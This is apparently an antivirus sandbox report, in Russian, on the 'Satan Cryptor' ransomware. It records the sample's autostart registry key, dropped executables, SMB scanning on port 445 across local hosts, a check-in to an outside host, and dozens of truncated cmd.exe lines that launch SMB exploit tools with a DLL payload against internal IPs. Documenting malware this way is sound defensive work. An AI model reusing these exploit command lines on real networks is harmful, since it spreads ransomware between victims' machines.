Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Classes\Satan Cryptor\Shell\Open\Command] '' = 'C:\ST_V2\St_V2.exe "%1"'
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\taskkill.exe' /F /IM blue.exe
- '<SYSTEM32>\taskkill.exe' /F /IM client.exe
- '<SYSTEM32>\taskkill.exe' /F /IM st.exe
Изменения в файловой системе:
Создает следующие файлы:
- C:\ReadMe.TXT
- C:\ST_V2\St_V2.exe
- C:\users\all users\star.exe
- C:\users\all users\blue.exe
- C:\users\all users\client.exe
Сетевая активность:
Подключается к:
- '<LOCALNET>.3.150':445
- '<LOCALNET>.3.152':445
- '<LOCALNET>.3.155':445
- '<LOCALNET>.3.144':445
- '<LOCALNET>.3.142':445
- '<LOCALNET>.3.145':445
- '<LOCALNET>.3.153':445
- '<LOCALNET>.3.159':445
- '<LOCALNET>.3.163':445
- '<LOCALNET>.3.164':445
- '<LOCALNET>.3.154':445
- '<LOCALNET>.3.157':445
- '<LOCALNET>.3.158':445
- '<LOCALNET>.1.99':445
- '<LOCALNET>.1.98':445
- '<LOCALNET>.1.100':445
- '<LOCALNET>.1.96':445
- '<LOCALNET>.1.94':445
- '<LOCALNET>.1.97':445
- '<LOCALNET>.1.102':445
- '<LOCALNET>.1.117':445
- '<LOCALNET>.1.118':445
- '<LOCALNET>.1.120':445
- '<LOCALNET>.1.114':445
- '<LOCALNET>.1.115':445
- '<LOCALNET>.1.116':445
- '<LOCALNET>.3.160':445
- '<LOCALNET>.4.217':445
- '<LOCALNET>.4.218':445
- '<LOCALNET>.4.219':445
- '<LOCALNET>.4.166':445
- '<LOCALNET>.4.215':445
- '<LOCALNET>.4.216':445
- '<LOCALNET>.4.221':445
- '<LOCALNET>.4.224':445
- '<LOCALNET>.4.225':445
- '<LOCALNET>.5.12':445
- '<LOCALNET>.4.220':445
- '<LOCALNET>.4.222':445
- '<LOCALNET>.4.223':445
- '<LOCALNET>.3.171':445
- '<LOCALNET>.4.156':445
- '<LOCALNET>.4.157':445
- '<LOCALNET>.3.161':445
- '<LOCALNET>.3.173':445
- '<LOCALNET>.3.178':445
- '<LOCALNET>.4.158':445
- '<LOCALNET>.4.162':445
- '<LOCALNET>.4.164':445
- '<LOCALNET>.4.165':445
- '<LOCALNET>.4.159':445
- '<LOCALNET>.4.160':445
- '<LOCALNET>.4.161':445
- '<LOCALNET>.1.41':445
- '<LOCALNET>.1.42':445
- '<LOCALNET>.1.43':445
- '<LOCALNET>.1.38':445
- '<LOCALNET>.1.39':445
- '<LOCALNET>.1.40':445
- '<LOCALNET>.1.44':445
- '<LOCALNET>.1.51':445
- '<LOCALNET>.1.52':445
- '<LOCALNET>.1.55':445
- '<LOCALNET>.1.45':445
- '<LOCALNET>.1.49':445
- '<LOCALNET>.1.47':445
- '<LOCALNET>.1.9':445
- '<LOCALNET>.1.10':445
- '<LOCALNET>.1.11':445
- '<LOCALNET>.1.4':445
- '<LOCALNET>.1.5':445
- '<LOCALNET>.1.7':445
- '<LOCALNET>.1.12':445
- '<LOCALNET>.1.36':445
- '<LOCALNET>.1.35':445
- '<LOCALNET>.1.37':445
- '<LOCALNET>.1.13':445
- '61.##0.3.151':80
- '<LOCALNET>.1.34':445
- '<LOCALNET>.1.54':445
- '<LOCALNET>.1.81':445
- '<LOCALNET>.1.82':445
- '<LOCALNET>.1.83':445
- '<LOCALNET>.1.77':445
- '<LOCALNET>.1.78':445
- '<LOCALNET>.1.80':445
- '<LOCALNET>.1.85':445
- '<LOCALNET>.1.91':445
- '<LOCALNET>.1.93':445
- '<LOCALNET>.1.95':445
- '<LOCALNET>.1.86':445
- '<LOCALNET>.1.87':445
- '<LOCALNET>.1.90':445
- '<LOCALNET>.1.61':445
- '<LOCALNET>.1.62':445
- '<LOCALNET>.1.63':445
- '<LOCALNET>.1.56':445
- '<LOCALNET>.1.57':445
- '<LOCALNET>.1.59':445
- '<LOCALNET>.1.65':445
- '<LOCALNET>.1.73':445
- '<LOCALNET>.1.74':445
- '<LOCALNET>.1.75':445
- '<LOCALNET>.1.67':445
- '<LOCALNET>.1.69':445
- '<LOCALNET>.1.71':445
TCP:
Запросы HTTP GET:
- http://61.##0.3.151/data/count.php?st################################################################################
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
Создает и запускает на исполнение:
- 'C:\users\all users\client.exe'
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.97 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.13 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.80 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.90 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.117 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.123 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.98 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.46 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.115 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.102 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.74 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.34 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.75 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.11 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.73 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.59 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.51 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.63 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.66 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.78 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.91 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.93 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.101 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.120 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.68 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.99 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.116 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.118 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.86 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.87 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.114 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.49 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.60 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.41 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.7 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.44 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.54 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.43 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.12 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.35 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.55 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.37 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.8 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.38 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.36 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.4 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.40 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.82 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.5 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.57 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.9 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1....
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.70 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.84 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.65 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.56 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.71 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.10 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.77 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.39 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.62 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.53 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\&blue.exe --TargetIp 10.0.1.50 & star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload down64.dll --TargetIp 10.0.1...
